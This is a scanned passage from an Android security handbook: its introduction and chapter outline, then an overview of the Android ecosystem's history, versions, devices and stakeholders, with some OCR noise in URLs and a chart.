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Introduction 


Like most disciplines, information security began as a cottage industry. It is has 
grown organically from hobbyist pastime into a robust industry replete with 
executive titles, “research and development” credibility, and the ear of academia 
as an industry where seemingly aloof fields of study such as number theory, 
cryptography, natural language processing, graph theory, algorithms, and niche 
computer science can be applied with a great deal of industry impact. Information 
security is evolving into a proving ground for some of these fascinating fields of 
study. Nonetheless, information security (specifically “vulnerability research”) 
is bound to the information technology sector as a whole and therefore follows 
the same trends. 

As we all very well know from our personal lives, mobile computing is quite 
obviously one of the greatest recent areas of growth in the information tech- 
nology. More than ever, our lives are chaperoned by our mobile devices, much 
more so than the computers we leave on our desks at close of business or leave 
closed on our home coffee tables when we head into our offices in the morning. 
Unlike those devices, our mobile devices are always on, taken between these 
two worlds, and are hence much more valuable targets for malicious actors. 

Unfortunately information security has been slower to follow suit, with 
only a recent shift toward the mobile space. As a predominantly “reactionary” 
industry, information security has been slow (at least publicly) to catch up to 
mobile/embedded security research and development. To some degree mobile 
security is still considered cutting edge, because consumers and users of mobile 
devices are only just recently beginning to see and comprehend the threats 
associated with our mobile devices. These threats have consequently created a 
market for security research and security products. 
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Introduction 


For information security researchers, the mobile space also represents a 
fairly new and sparsely charted continent to explore, with diverse geography 
in the form of different processor architectures, hardware peripherals, software 
stacks, and operating systems. All of these create an ecosystem for a diverse set 
of vulnerabilities to exploit and study. 

According to IDC, Android market share in Q3 2012 was 75 percent of the 
worldwide market (as calculated by shipment volume) with 136 million units 
shipped. Apple’s iOS had 14.9 percent of the market in the same quarter, BlackBerry 
and Symbian followed behind with 4.3 percent and 2.3 percent respectively. After 
Q3 2013, Android’s number had risen to 81 percent, with iOS at 12.9 percent and 
the remaining 6.1 percent scattered among the other mobile operating systems. 
With that much market share, and a host of interesting information security 
incidents and research happening in the Android world, we felt a book of this 
nature was long overdue. 

Wiley has published numerous books in the Hacker's Handbook series, including 
the titles with the terms “Shellcoder’s,” “Mac,” “Database,” “Web Application,” 
“iOS,” and “Browser” in their names. The Android Hacker’s Handbook represents 
the latest installment in the series and builds on the information within the 
entire collection. 


Overview of the Book and Technology 


The Android Hacker's Handbook team members chose to write this book because 
the field of mobile security research is so “sparsely charted” with disparate and 
conflicted information (in the form of resources and techniques). There have been 
some fantastic papers and published resources that feature Android, but much 
of what has been written is either very narrow (focusing on a specific facet of 
Android security) or mentions Android only as an ancillary detail of a security 
issue regarding a specific mobile technology or embedded device. Further, public 
vulnerability information surrounding Android is scarce. Despite the fact that 
1,000 or more publicly disclosed vulnerabilities affect Android devices, multiple 
popular sources of vulnerability information report fewer than 100. The team 
believes that the path to improving Android’s security posture starts by under- 
standing the technologies, concepts, tools, techniques, and issues in this book. 


How This Book Is Organized 


This book is intended to be readable cover to cover, but also serves as an indexed 
reference for anyone hacking on Android or doing information security research 
on an Android-based device. We’ve organized the book into 13 chapters to cover 
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virtually everything one would need to know to first approach Android for 
security research. Chapters include diagrams, photographs, code snippets, and 
disassembly to explain the Android software and hardware environment and 
consequently the nuances of software exploitation and reverse engineering on 
Android. The general outline of this book begins with broader topics and ends 
with deeply technical information. The chapters are increasingly specific and 
lead up to discussions of advanced security research topics such as discover- 
ing, analyzing, and attacking Android devices. Where applicable, this book 
refers to additional sources of detailed documentation. This allows the book to 
focus on technical explanations and details relevant to device rooting, reverse 
engineering, vulnerability research, and software exploitation. 


m Chapter 1 introduces the ecosystem surrounding Android mobile devices. 
After revisiting historical facts about Android, the chapter takes a look at 
the general software composition, the devices in public circulation, and 
the key players in the supply chain. It concludes with a discussion of 
high-level difficulties that challenge the ecosystem and impede Android 
security research. 


m Chapter 2 examines Android operating system fundamentals. It begins 
with an introduction to the core concepts used to keep Android devices 
secure. The rest of the chapter dips into the internals of the most security- 
critical components. 


m Chapter 3 explains the motivations and methods for gaining unimpeded 
access to an Android device. It starts by covering and guiding you through 
techniques that apply to a wide range of devices. Then it presents mod- 
erately detailed information about more than a dozen individually 
published exploits. 


m Chapter 4 pertains to security concepts and techniques specific to Android 
applications. After discussing common security-critical mistakes made 
during development, it walks you through the tools and processes used 
to find such issues. 


m Chapter 5 introduces key terminology used to describe attacks against 
mobile devices and explores the many ways that an Android device can 
be attacked. 


m Chapter 6 shows how to find vulnerabilities in software that runs on 
Android by using a technique known as fuzz testing. It starts by discussing 
the high-level process behind fuzzing. The rest of the chapter takes a look 
at how applying these processes toward Android can aid in discovering 
security issues. 


m Chapter 7 is about analyzing and understanding bugs and security vul- 
nerabilities in Android. It first presents techniques for debugging the 
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different types of code found in Android. It concludes with an analysis 
of an unpatched security issue in the WebKit-based web browser. 


m Chapter 8 looks at how you can exploit memory corruption vulnerabilities 
on Android devices. It covers compiler and operating system internals, like 
Android’s heap implementation, and ARM system architecture specifics. 
The last part of this chapter takes a close look at how several published 
exploits work. 


m Chapter 9 focuses on an advanced exploitation technique known as 
Return Oriented Programming (ROP). It further covers ARM system 
architecture and explains why and how to apply ROP. It ends by taking 
a more detailed look at one particular exploit. 


m Chapter 10 digs deeper into the inner workings of the Android operating 
system with information about the kernel. It begins by explaining how 
to hack, in the hobbyist sense, the Android kernel. This includes how to 
develop and debug kernel code. Finally, it shows you how to exploit a 
few publicly disclosed vulnerabilities. 


m Chapter 11 jumps back to user-space to discuss a particularly important 
component unique to Android smartphones: the Radio Interface Layer 
(RIL). After discussing architectural details, this chapter covers how you 
can interact with RIL components to fuzz the code that handles Short 
Message Service (SMS) messages on an Android device. 


m Chapter 12 details security protection mechanisms present in the Android 
operating system. It begins with a perspective on when such protections 
were invented and introduced in Android. It explains how these protec- 
tions work at various levels and concludes with techniques for overcoming 
and circumventing them. 


m Chapter 13 dives into methods and techniques for attacking Android, and 
other embedded devices, through their hardware. It starts by explaining 
how to identify, monitor, and intercept various bus-level communications. 
It shows how these methods can enable further attacks against hard-to- 
reach system components. It ends with tips and tricks for avoiding many 
common hardware hacking pitfalls. 


Who Should Read This Book 


The intended audience of this book is anyone who wants to gain a better 
understanding of Android security. Whether you are a software developer, an 
embedded system designer, a security architect, or a security researcher, this 
book will improve your understanding of the Android security landscape. 


Introduction 


Though some of the chapters are approachable to a wide audience, the bulk of 
this book is better digested by someone with a firm grasp on computer software 
development and security. Admittedly, some of the more technical chapters 
are better suited to readers who are knowledgeable in topics such as assembly 
language programming and reverse engineering. However, less experienced 
readers who have sufficient motivation stand to learn a great deal from taking 
the more challenging parts of the book head on. 


Tools You Will Need 


This book alone will be enough for you to get a basic grasp of the inner workings 
of the Android OS. However, readers who want to follow the presented code 
and workflows should prepare by gathering a few items. First and foremost, 
an Android device is recommended. Although a virtual device will suffice for 
most tasks, you will be better off with a physical device from the Google Nexus 
family. Many of the chapters assume you will use a development machine with 
Ubuntu 12.04. Finally, the Android Software Developers Kit (SDK), Android 
Native Development Kit (NDK), and a complete checkout of the Android Open 
Source Project (AOSP) are recommended for following along with the more 
advanced chapters. 


What’s on the Website 


As stated earlier, this book is intended to be a one-stop resource for current 
Android information security research and development. While writing this 
book, we developed code that supplements the material. You can download 
this supplementary material from the book’s website at www. wi | ey. com/ 
go/androidhackershandbook/. 


Bon Voyage 


With this book in your hand, you're ready to embark on a journey through 
Android security. We hope reading this book will give you a deeper knowledge 
and better understanding of the technologies, concepts, tools, techniques, and 
vulnerabilities of Android devices. Through your newly acquired wisdom, you 
will be on the path to improving Android's overall security posture. Join us in 
making Android more secure, and don't forget to have fun doing it! 


Looking at the Ecosystem 


The word Android is used correctly in many contexts. Although the word still 
can refer to a humanoid robot, Android has come to mean much more than 
that in the last decade. In the mobile space, it refers to a company, an operating 
system, an open source project, and a development community. Some people 
even call mobile devices Androids. In short, an entire ecosystem surrounds the 
now wildly popular mobile operating system. 

This chapter looks closely at the composition and health of the Android 
ecosystem. First you find out how Android became what it is today. Then the 
chapter breaks down the ecosystem stakeholders into groups in order to help 
you understand their roles and motivations. Finally, the chapter discusses the 
complex relationships within the ecosystem that give rise to several important 
issues that affect security. 


Understanding Android's Roots 


Android did not become the world’s most popular mobile operating system 
overnight. The last decade has been a long journey with many bumps in the 
road. This section recounts how Android became what it is today and begins 
looking at what makes the Android ecosystem tick. 
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Company History 


Android began as Android, Inc., a company founded by Andy Rubin, Chris 
White, Nick Sears, and Rich Miner in October 2003. They focused on creating 
mobile devices that were able to take into account location information and 
user preferences. After successfully navigating market demand and financial 
difficulties, Google acquired Android, Inc., in August 2005. During the period 
following, Google began building partnerships with hardware, software, and 
telecommunications companies with the intent of entering the mobile market. 

In November 2007, the Open Handset Alliance (OHA) was announced. This 
consortium of companies, which included 34 founding members led by Google, 
shares a commitment to openness. In addition, it aims to accelerate mobile plat- 
form innovation and offer consumers a richer, less expensive, and better mobile 
experience. The OHA has since grown to 84 members at the time this book was 
published. Members represent all parts of the mobile ecosystem, including 
mobile operators, handset manufacturers, semiconductor companies, software 
companies, and more. You can find the full list of members on the OHA website 
at www. openhandsetalliance.com/oha_members. html. 

With the OHA in place, Google announced its first mobile product, Android. 
However, Google still did not bring any devices running Android to the market. 
Finally, after a total of five years, Android was made available to the general 
public in October 2008. The release of the first publicly available Android phone, 
the HTC G1, marked the beginning of an era. 


Version History 


Before the first commercial version of Android, the operating system had Alpha 
and Beta releases. The Alpha releases where available only to Google and OHA 
members, and they were codenamed after popular robots Astro Boy, Bender, and 
R2-D2. Android Beta was released on November 5, 2007, which is the date that 
is popularly considered the Android birthday. 

The first commercial version, version 1.0, was released on September 23, 2008, 
and the next release, version 1.1, was available on February 9, 2009. Those were 
the only two releases that did not have a naming convention for their codename. 
Starting with Android 1.5, which was released on April 30, 2009, the major ver- 
sions’ code names were ordered alphabetically with the names of tasty treats. 
Version 1.5 was code named Cupcake. Figure 1-1 shows all commercial Android 
versions, with their respective release dates and code names. 
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Figure 1-1: Android releases 
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In the same way that Android releases are code-named, individual builds are 
identified with a short build code, as explained on the Code Names, Tags, and 
Build Numbers page at http://source. android. com/source/ build- numbers 
. ht ml . For example, take the build number JOP40D. The first letter represents the 
code name of the Android release (J is Jelly Bean). The second letter identifies 
the code branch from which the build was made, though its precise meaning 
varies from one build to the next. The third letter and subsequent two digits 
comprise a date code. The letter represents the quarter, starting from A, which 
means the first quarter of 2009. In the example, P represents the fourth quarter 
of 2012. The two digits signify days from the start of the quarter. In the example, 
P40 is November 10, 2012. The final letter differentiates individual versions 
for the same date, again starting with A. The first builds for a particular date, 
signified with A, don’t usually use this letter. 


Examining the Device Pool 


As Android has grown, so has the number of devices based on the operating 
system. In the past few years, Android has been slowly branching out from the 
typical smartphone and tablet market, finding its way into the most unlikely 
of places. Devices such as smart watches, television accessories, game consoles, 
ovens, satellites sent to space, and the new Google Glass (a wearable device with 
a head-mounted display) are powered by Android. The automotive industry is 
beginning to use Android as an infotainment platform in vehicles. The operat- 
ing system is also beginning to make a strong foothold in the embedded Linux 
space as an appealing alternative for embedded developers. All of these facts 
make the Android device pool an extremely diverse place. 

You can obtain Android devices from many retail outlets worldwide. Currently, 
most mobile subscribers get subsidized devices through their mobile carriers. 
Carriers provide these subsidies under the terms of a contract for voice and 
data services. Those who do not want to be tied to a carrier can also purchase 
Android devices in consumer electronics stores or online. In some countries, 
Google sells their Nexus line of Android devices in their online store, Google Play. 


Google Nexus 


Nexus devices are Google’s flagship line of devices, consisting mostly of smart- 
phones and tablets. Each device is produced by a different original equipment 
manufacturer (OEM) in a close partnership with Google. They are sold SIM- 
unlocked, which makes switching carriers and traveling easy, through Google 
Play directly by Google. To date, Google has worked in cooperation with HTC, 
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Samsung, LG, and ASUS to create Nexus smartphones and tablets. Figure 1-2 
shows some of the Nexus devices released in recent years. 


iF) 


Figure 1-2: Google Nexus devices 


Nexus devices are meant to be the reference platform for new Android 
versions. As such, Nexus devices are updated directly by Google soon after 
a new Android version is released. These devices serve as an open platform 
for developers. They have unlockable boot loaders that allow flashing custom 
Android builds and are supported by the Android Open Source Project (AOSP). 
Google also provides factory images, which are binary firmware images that can 
be flashed to return the device to the original, unmodified state. 

Another benefit of Nexus devices is that they offer what is commonly referred 
to as a pure Google experience. This means that the user interface has not been 
modified. Instead, these devices offer the stock interface found in vanilla Android 
as compiled from AOSP. This also includes Google’s proprietary apps such as 
Google Now, Gmail, Google Play, Google Drive, Hangouts, and more. 


Market Share 


Smartphone market share statistics vary from one source to another. Some 
sources include ComScore, Kantar, IDC, and Strategy Analytics. An over- 
all look at the data from these sources shows that Android’s market share is 
on the rise in a large proportion of countries. According to a report released 
by Goldman Sachs, Android was the number one player in the entire global 
computing market at the end of 2012. StatCounter’s GlobalStats, available at 
http: //gs.statcounter. com/ , show that Android is currently the number one 
player in the mobile operating system market, with 41.3 percent worldwide as 
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of November 2013. Despite these small variations, all sources seem to agree that 
Android is the dominating mobile operating system. 


Release Adoption 


Not all Android devices run the same Android version. Google regularly pub- 
lishes a dashboard showing the relative percentage of devices running a given 
version of Android. This information is based on statistics gathered from visits 
to Google Play, which is present on all approved devices. The most up-to-date 
version of this dashboard is available at http: //developer. android. com/about/ 

dashboards/ . Additionally, Wikipedia contains a chart showing dashboard 
data aggregated over time. Figure 1-3 depicts the chart as of this writing, which 
includes data from December 2009 to February 2013. 


100% 
Android 
90% Version 
80% m11 
mis } Cupcake 
70% mis } Donut 


ee acne Eclair 


m21 


m22 Fro, 
50% } Froyo 
m2.3-2.3.2 
} Gingerbread 
m2.3.3-2.3.7 
40% m3.0 
m31 | Honeycomb 
30% m32 


m4.0-4.0.2 ] Ice Cream 
7 een Sanieich 
m4. 
m42 | Jellybean 


B43 


10% 


o 
Èd 


12/14/2009 
1/4/2010 
4/12/2010 
5/3/2010 
5/17/2010 
6/16/2010 
7/15/2010 
9/1/2010 
10/1/2010 
11/1/2010 
12/1/2010 
1/4/2011 
2/2/2011 
3/15/2011 
4/1/2011 
5/2/2011 
6/1/2011 
10/3/2011 
11/3/2011 
12/1/2011 
1/3/2012 
2/1/2012 
3/5/2012 
4/2/2012 
5/1/2012 
6/1/2012 
7/2/2012 
8/1/2012 
9/4/2012 
10/1/2012 
11/1/2012 
12/3/2012 
1/3/2013 
2/4/2013 
3/4/2013 
4/2/2013 
5/1/2043 
6/3/2013 
7/8/2013 
8/1/2013 
9/4/2013 
10/2/2013 
11/1/2013 


Figure 1-3: Android historical version distribution 


Source: fimustak (Creative Commons Attribution-Share Alike 3.0 Unported license) ht tp: / | 
en. wikipedia.org/wiki/File:Android_historical_version_ 
distribution. png 


As shown, new versions of Android have a relatively slow adoption rate. It 
takes in excess of one year to get a new version running on 90 percent of devices. 
You can read more about this issue and other challenges facing Android in the 
“Grasping Ecosystem Complexities” section later in this chapter. 
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Open Source, Mostly 


AOSP is the manifestation of Google and the OHA members’ commitment to 
openness. At its foundation, the Android operating system is built upon many 
different open source components. This includes numerous libraries, the Linux 
kernel, a complete user interface, applications, and more. All of these software 
components have an Open Source Initiative (OSI)—approved license. Most of the 
Android source is released under version 2.0 of the Apache Software License 
that you can find at apache. org/licenses/ LI CENSE-2.0.Some outliers do exist, 
mainly consisting on upstream projects, which are external open source projects 
on which Android depends. Two examples are the Linux kernel code that is 
licensed under GPLv2 and the WebKit project that uses a BSD-style license. 
The AOSP source repository brings all of these projects together in one place. 

Although the vast majority of the Android stack is open source, the resulting 
consumer devices contain several closed source software components. Even 
devices from Google’s flagship Nexus line contain code that ships as propri- 
etary binary blobs. Examples include boot loaders, peripheral firmware, radio 
components, digital rights management (DRM) software, and applications. 
Many of these remain closed source in an effort to protect intellectual property. 
However, keeping them closed source hinders interoperability, making com- 
munity porting efforts more challenging. 

Further, many open source enthusiasts trying to work with the code find that 
Android isn't fully developed in the open. Evidence shows that Google develops 
Android largely in secret. Code changes are not made available to the public 
immediately after they are made. Instead, open source releases accompany new 
version releases. Unfortunately, several times the open source code was not made 
available at release time. In fact, the source code for Android Honeycomb (3.0) 
was not made available until the source code for Ice Cream Sandwich (4.0) was 
released. In turn, the Ice Cream Sandwich source code wasn’t released until 
almost a month after the official release date. Events like these detract from 
the spirit of open source software, which goes against two of Android’s stated 
goals: innovation and openness. 


Understanding Android Stakeholders 


Understanding exactly who has a stake in the Android ecosystem is important. 
Not only does it provide perspective, but it also allows one to understand who 
is responsible for developing the code that supports various components. This 
section walks through the main groups of stakeholders involved, including 
Google, hardware vendors, carriers, developers, users, and security researchers. 
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This section explores each stakeholder’s purpose and motivations, and it exam- 
ines how the stakeholders relate to each other. 

Each group is from a different field of industry and serves a particular pur- 
pose in the ecosystem. Google, having given birth to Android, develops the 
core operating system and manages the Android brand. Hardware fabricators 
make the underlying hardware components and peripherals. OEMs make the 
end-user devices and manage the integration of the various components that 
make a device work. Carriers provide voice and data access for mobile devices. A 
vast pool of developers, including those who are employed by members of other 
groups, work on a multitude of projects that come together to form Android. 

Figure 1-4 shows the relationships between the main groups of ecosystem 
stakeholders. 
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Figure 1-4: Ecosystem relationships 


These relationships indicate who talks to who when creating or updating 
an Android device. As the figure clearly shows, the Android ecosystem is very 
complex. Such business relationships are difficult to manage and lead to a variety 
of complexities that are covered later in this chapter. Before getting into those 
issues, it’s time to discuss each group in more detail. 


Google 


As the company that brought Android to market, Google has several key 
roles in the ecosystem. Its responsibilities include legal administration, brand 
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management, infrastructure management, in-house development, and enabling 
outside development. Also, Google builds its line of Nexus devices in close 
cooperation with its partners. In doing so, it strikes the business deals necessary 
to make sure that great devices running Android actually make it to market. 
Google’s ability to execute on all of these tasks well is what makes Android 
appealing to consumers. 

First and foremost, Google owns and manages the Android brand. OEMs can- 
not legally brand their devices as Android devices or provide access to Google 
Play unless the devices meet Google’s compatibility requirements. (The details 
of these requirements are covered in more depth in the “Compatibility” section 
later in this chapter.) Because Android is open source, compatibility enforce- 
ment is one of the few ways that Google can influence what other stakeholders 
can do with Android. Without it, Google would be largely powerless to prevent 
the Android brand from being tarnished by a haphazard or malicious partner. 

The next role of Google relates to the software and hardware infrastructure 
needed to support Android devices. Services that support apps such as Gmail, 
Calendar, Contacts, and more are all run by Google. Also, Google runs Google 
Play, which includes rich media content delivery in the form of books, maga- 
zines, movies, and music. Delivering such content requires licensing agreements 
with distribution companies all over the world. Additionally, Google runs the 
physical servers behind these services in their own data centers, and the com- 
pany provides several crucial services to the AOSP, such as hosting the AOSP 
sources, factory image downloads, binary driver downloads, an issue tracker, 
and the Gerrit code review tool. 

Google oversees the development of the core Android platform. Internally, it 
treats the Android project as a full-scale product development operation. The 
software developed inside Google includes the operating system core, a suite 
of core apps, and several optional non-core apps. As mentioned previously, 
Google develops innovations and enhancements for future Android versions in 
secret. Google engineers use an internal development tree that is not visible to 
device manufacturers, carriers, or third-party developers. When Google decides 
its software is ready for release, it publishes factory images, source code, and 
application programming interface (API) documentation simultaneously. It also 
pushes updates out via over-the-air (OTA) distribution channels. After a release 
is in AOSP, everyone can clone it and start their work building their version of 
the latest release. Separating development in this fashion enables developers 
and device manufacturers to focus on a single version without having to track 
the unfinished work of Google’s internal teams. As true as this may be, closed 
development detracts from the credence of AOSP as an open source project. 

Yet another role for Google lies in fostering an open development community 
that uses Android as a platform. Google provides third-party developers with 
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development kits, API documentation, source code, style guidance, and more. 
All of these efforts help create a cohesive and consistent experience across mul- 
tiple third-party applications. 

By fulfilling these roles, Google ensures the vitality of the Android as a brand, 
a platform, and an open source project. 


Hardware Vendors 


The purpose of an operating system is to provide services to applications and 
manage hardware connected to the device. After all, without hardware the 
Android operating system software wouldn't serve much purpose. The hardware 
of today’s smartphones is very complex. With such a small form factor and lots 
of peripherals, supporting the necessary hardware is quite an undertaking. In 
order to take a closer look at the stakeholders in this group, the following sec- 
tions break down hardware vendors into three subgroups that manufacture 
central processing units (CPUs), System-on-Chip (SoC), and devices, respectively. 


CPU Manufacturers 


Although Android applications are processor agnostic, native binaries are 
not. Instead, native binaries are compiled for the specific processor used by a 
particular device. Android is based on the Linux kernel, which is portable and 
supports a multitude of processor architectures. Similarly, Android’s Native 
Development Kit (NDK) includes tools for developing user-space native code 
for all application processor architectures supported by Android. This includes 
ARM, Intel x86, and MIPS. 

Due to its low power consumption, the ARM architecture has become the 
most widely used architecture in mobile devices. Unlike other microprocessor 
corporations that manufacture their own CPUs, ARM Holdings only licenses 
its technology as intellectual property. ARM offers several microprocessor core 
designs, including the ARM11, Cortex-A8, Cortex-A9, and Cortex-A15. The designs 
usually found on Android devices today feature the ARMv7 instruction set. 

In 2011, Intel and Google announced a partnership to provide support for 
Intel processors in Android. The Medfield platform, which features an Atom 
processor, was the first Intel-based platform supported by Android. Also, Intel 
launched the Android on Intel Architecture (Android-IA) project. This project is 
based on AOSP and provides code for enabling Android on Intel processors. The 
Android-IA website at ht tps://01.org/android-ia/ is targeted at system and 
platform developers whereas the Intel Android Developer website at ht t p: / / 
software.intel.com/en-us/android/ is targeted at application developers. 
Some Intel-based smartphones currently on the market include an Intel pro- 
prietary binary translator named | i bhoudi ni . This translator allows running 
applications built for ARM processors on Intel-based devices. 
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MIPS Technologies offers licenses to its MIPS architecture and microprocessor 
core designs. In 2009, MIPS Technologies ported Google’s Android operating 
system to the MIPS processor architecture. Since then, several device manu- 
facturers have launched Android devices running on MIPS processors. This is 
especially true for set-top boxes, media players, and tablets. MIPS Technologies 
offers source code for its Android port, as well as other development resources, 
athttp:// www. imgtec.com/ mi ps/developers/ mi ps-android. asp. 


System-on-Chip Manufacturers 


System-on-Chip (SoC) is the name given to a single piece of silicon that includes 
the CPU core, along with a graphics processing unit (GPU), random access 
memory (RAM), input/output (I/O) logic, and sometimes more. For example, 
many SoCs used in smartphones include a baseband processor. Currently, most 
SoCs used in the mobile industry include more than one CPU core. Combining 
the components on a single chip reduces manufacturing costs and decreases 
power consumption, ultimately leading to smaller and more efficient devices. 

As mentioned previously, ARM-based devices dominate the Android device 
pool. Within ARM devices, there are four main SoC families in use: OMAP from 
Texas Instruments, Tegra from nVidia, Exynos from Samsung, and Snapdragon 
from Qualcomm. These SoC manufacturers license the CPU core design from 
ARM Holdings. You can find a full list of licensees on ARM's website at www. arm. 
com/products/processors/licensees. php. With the exception of Qualcomm, 
SoC manufacturers use ARM’s designs without modification. Qualcomm invests 
additional effort to optimize for lower power consumption, higher performance, 
and better heat dissipation. 

Each SoC has different components integrated into it and therefore requires 
different support in the Linux kernel. As a result, development for each SoC is 
tracked separately in a Git repository specific to that SoC. Each tree includes 
SoC-specific code including drivers and configurations. On several occasions, 
this separation has led to vulnerabilities being introduced into only a subset 
of the SoC-specific kernel source repositories. This situation contributes to 
one of the key complexities in the Android ecosystem, which is discussed 
further in the “Grasping Ecosystem Complexities” section later in this chapter. 


Device Manufacturers 


Device manufacturers, including original design manufacturers (ODMs) and 
OEMs, design and build the products used by consumers. They decide which 
combination of hardware and software will make it into the final unit and take 
care of all of the necessary integration. They choose the hardware components 
that will be combined together, the device form factor, screen size, materials, 
battery, camera lens, sensors, radios, and so on. Usually device manufacturers 
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partner up with a SoC manufacturer for a whole line of products. Most choices 
made when creating a new device relate directly to market differentiation, 
targeting a particular customer segment, or building brand loyalty. 

While developing new products, device manufacturers have to adapt the 
Android platform to work well on its new hardware. This task includes adding 
new kernel device drivers, proprietary bits, and user-space libraries. Further, 
OEMs often make custom modifications to Android, especially in the Android 
Framework. To comply with the GPLv2 license of the Android kernel, OEMs are 
forced to release kernel sources. However, the Android Framework is licensed 
under the Apache 2.0 License, which allows modifications to be redistributed 
in binary form without having to release the source code. This is where most 
vendors try to put their innovations to differentiate their devices from others. For 
example, the Sense and Touchwiz user interface modifications made by HTC and 
Samsung are implemented primarily in the Android Framework. Such modi- 
fications are a point of contention because they contribute to several complex, 
security-related problems in the ecosystem. For example, customizations may 
introduce new security issues. You can read more about these complexities in 
the “Grasping Ecosystem Complexities” section, later in this chapter. 


Carriers 


Aside from providing mobile voice and data services, carriers close deals with 
device manufacturers to subsidize phones to their clients. The phones obtained 
through a carrier usually have a carrier-customized software build. These builds 
tend to have the carrier logo in the boot screen, preconfigured Access Point Name 
(APN) network settings, changes in the default browser home page and browser 
bookmarks, and a lot of pre-loaded applications. Most of the time these changes 
are embedded into the system partition so that they cannot be removed easily. 

In addition to adding customization to the device's firmware, carriers also have 
their own quality assurance (QA) testing procedures in place. These QA processes 
are reported to be lengthy and contribute to the slow uptake of software updates. 
It is very common to see an OEM patch a security hole in the operating system 
for its unbranded device while the carrier-branded device remains vulnerable 
for much longer. It’s not until the update is ready to be distributed to the car- 
rier devices that subsidized users are updated. After they have been available 
for some time, usually around 12 to 18 months, devices are discontinued. Some 
devices are discontinued much more quickly—in a few cases even immediately 
after release. After that point, any users still using such a device will no longer 
receive updates, regardless of whether they are security related or not. 
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Developers 


As an open source operating system, Android is an ideal platform for 
developers to play with. Google engineers are not the only people contributing 
code to the Android platform. There are a lot of individual developers and enti- 
ties who contribute to AOSP on their own behalf. Every contribution to AOSP 
(coming either from Google or from a third party) has to use the same code style 
and be processed through Google’s source code review system, Gerrit. During 
the code review process, someone from Google decides whether to include or 
exclude the changes. 

Not all developers in the Android ecosystem build components for the operat- 
ing system itself. A huge portion of developers in the ecosystem are application 
developers. They use the provided software development kits (SDKs), frameworks, 
and APIs to build apps that enable end users to achieve their goals. Whether 
these goals are productivity, entertainment, or otherwise, app developers aim 
to meet the needs of their user base. 

In the end, developers are driven by popularity, reputation, and proceeds. 
App markets in the Android ecosystem offer developers incentives in the form of 
revenue sharing. For example, advertisement networks pay developers for plac- 
ing ads in their applications. In order to maximize their profits, app developers 
try to become extremely popular while maintaining an upstanding reputation. 
Having a good reputation, in turn, drives increased popularity. 


Custom ROMs 


The same way manufacturers introduce their own modifications to the Android 
platform, there are other custom firmware projects (typically called ROMs) devel- 
oped by communities of enthusiasts around the world. One of the most popular 
Android custom firmware projects is CyanogenMod. With 9.5 million active installs 
in December 2013, it is developed based on the official releases of Android with 
additional original and third-party code. These community-modified versions of 
Android usually include performance tweaks, interface enhancements, features, 
and options that are typically not found in the official firmware distributed with 
the device. Unfortunately, they often undergo less extensive testing and quality 
assurance. Further, similar to the situation with OEMs, modifications made in 
custom ROMs may introduce additional security issues. 

Historically, device manufacturers and mobile carriers have been unsup- 
portive of third-party firmware development. To prevent users from using 
custom ROMs, they place technical obstacles such as locked boot loaders or 
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NAND locks. However, custom ROMs have grown more popular because 
they provide continued support for older devices that no longer receive official 
updates. Because of this, manufacturers and carriers have softened their posi- 
tions regarding unofficial firmware. Over time, some have started shipping 
devices with unlocked or unlockable boot loaders, similar to Nexus devices. 


Users 


Android would not be the thriving community that it is today without its mas- 
sive user base. Although each individual user has unique needs and desires, 
they can be classified into one of three categories. The three types of end users 
include general consumers, power users, and security researchers. 


Consumers 


Since Android is the top-selling smartphone platform, end users enjoy a wide 
range of devices to choose from. Consumers want a single, multifunction device 
with personal digital assistant (PDA) functions, camera, global position system 
(GPS) navigation, Internet access, music player, e-book reader, and a complete 
gaming platform. Consumers usually look for a productivity boost, to stay 
organized, or stay in touch with people in their lives, to play games on the go 
and to access information from various sources on the Internet. On top of all 
this, they expect a reasonable level of security and privacy. 

The openness and flexibility of Android is also apparent to consumers. The 
sheer number of available applications, including those installable from sources 
outside official means, is directly attributable to the open development com- 
munity. Further, consumers can extensively customize their devices by install- 
ing third-party launchers, home screen widgets, new input methods, or even 
full custom ROMs. Such flexibility and openness is often the deciding factor 
for those who choose Android over competing smartphone operating systems. 


Power Users 


The second type of user is a special type of consumer called power users in this 
text. Power users want to have the ability to use features that are beyond what 
is enabled in stock devices. For example, users who want to enable Wi-Fi teth- 
ering on their devices are considered members of this group. These users are 
intimately familiar with advanced settings and know the limitations of their 
devices. They are much less averse to the risk of making unofficial changes to 
the Android operating system, including running publicly available exploits to 
gain elevated access to their devices. 


Chapter 1 = Looking at the Ecosystem 


Security Researchers 


You can consider security researchers a subset of power users, but they have 
additional requirements and differing goals. These users can be motivated by 
fame, fortune, knowledge, openness, protecting systems, or some combination 
of these ideals. Regardless of their motivations, security researchers aim to 
discover previously unknown vulnerabilities in Android. Conducting this type 
of research is far easier when full access to a device is available. When elevated 
access is not available, researchers usually seek to obtain elevated access first. 
Even with full access, this type of work is challenging. 

Achieving the goals of a security researcher requires deep technical knowl- 
edge. Being a successful security researcher requires a solid understanding of 
programming languages, operating system internals, and security concepts. 
Most researchers are competent in developing, reading, and writing several dif- 
ferent programming languages. In some ways, this makes security researchers 
members of the developers group, too. It’s common for security researchers to 
study security concepts and operating system internals at great length, includ- 
ing staying on top of cutting edge information. 

The security researcher ecosystem group is the primary target audience of 
this book, which has a goal of both providing base knowledge for budding 
researchers and furthering the knowledge of established researchers. 


Grasping Ecosystem Complexities 


The OHA includes pretty much all major Android vendors, but some parties 
are working with different goals. Some of these goals are competing. This leads 
to various partnerships between manufacturers and gives rise to some massive 
cross-organizational bureaucracy. For example, Samsung memory division is 
one of the world’s largest manufacturers of NAND flash. With around 40 percent 
market share, Samsung produces dynamic random access memory (DRAM) 
and NAND memory even for devices made by competitors of its mobile phones 
division. Another controversy is that although Google does not directly earn 
anything from the sale of each Android device, Microsoft and Apple have 
successfully sued Android handset manufacturers to extract patent royalty 
payments from them. Still, this is not the full extent of the complexities that 
plague the Android ecosystem. 

Apart from legal battles and difficult partnerships, the Android ecosystem 
is challenged by several other serious problems. Fragmentation in both hard- 
ware and software causes complications, only some of which are addressed by 
Google’s compatibility standards. Updating the Android operating system itself 
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remains a significant challenge for all of the ecosystem stakeholders. Strong 
roots in open source further complicate software update issues, giving rise to 
increased exposure to known vulnerabilities. Members of the security research 
community are troubled with the dilemma of deciding between security and 
openness. This dilemma extends to other stakeholders as well, leading to a 
terrible disclosure track record. The following sections discuss each of these 
problem areas in further detail. 


Fragmentation 


The Android ecosystem is rampant with fragmentation, due to the differences 
between the multitudes of various Android devices. The open nature of Android 
makes it ideal for mobile device manufacturers to build their own devices based 
off the platform. As a result, the device pool is made up of many different devices 
